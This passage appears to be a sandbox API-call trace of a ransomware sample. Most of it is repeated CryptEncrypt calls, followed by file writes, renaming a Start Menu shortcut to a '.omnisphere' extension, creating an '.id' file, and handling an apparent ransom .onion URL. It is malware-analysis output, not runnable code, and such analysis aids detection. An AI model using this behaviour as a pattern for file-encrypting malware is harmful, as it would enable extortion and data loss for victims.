pdwDataLen=0x3e0cd44*=0x10) returned 1 [0131.284] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.284] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.284] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.284] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.284] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.284] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.284] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.285] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.285] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.285] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.285] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.285] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.285] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.285] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.285] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.285] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.285] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.285] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.285] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.285] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.285] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.285] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.285] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.285] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.285] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.285] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.285] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.285] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.285] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.285] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.285] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.286] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.286] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.286] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.286] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.286] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.286] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.286] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.286] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.286] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.286] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.286] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.286] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.286] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.286] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.286] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.286] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.286] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.286] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.286] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.286] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.286] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.286] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.286] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.287] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.287] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.287] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.287] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.287] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.287] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.287] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.287] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.287] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.287] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.287] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.287] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.287] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.287] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.287] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.287] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.287] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.287] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.287] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.287] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.287] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.287] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.287] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.287] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.288] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.288] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.288] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.288] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.288] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.288] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.288] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.288] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.288] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.288] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.288] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.288] CryptDestroyKey (hKey=0x1639b68) returned 1 [0131.288] CryptReleaseContext (hProv=0x16682c8, dwFlags=0x0) returned 1 [0131.288] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x588, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0131.288] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0131.288] GetProcessHeap () returned 0x1600000 [0131.288] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2ea) returned 0x172b8d8 [0131.289] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Update and Privacy Settings.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\update and privacy settings.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Update and Privacy Settings.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\update and privacy settings.lnk.omnisphere")) returned 1 [0131.425] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Update and Privacy Settings.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Update and Privacy Settings.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Update and Privacy Settings.lnk.omnisphere.id" [0131.425] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Update and Privacy Settings.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\update and privacy settings.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0131.439] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0131.440] CloseHandle (hObject=0x388) returned 1 [0131.441] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0131.441] CloseHandle (hObject=0x3c0) returned 1 [0131.441] SetEndOfFile (hFile=0x288) returned 1 [0131.442] FlushFileBuffers (hFile=0x288) returned 1 [0131.458] CloseHandle (hObject=0x288) returned 1 [0131.458] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Update and Privacy Settings.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs") returned 1 [0131.458] GetProcessHeap () returned 0x1600000 [0131.458] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x172bbd0 [0131.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0131.458] GetProcessHeap () returned 0x1600000 [0131.458] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16fd7d0 [0131.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16fd7d0, cbMultiByte=31, 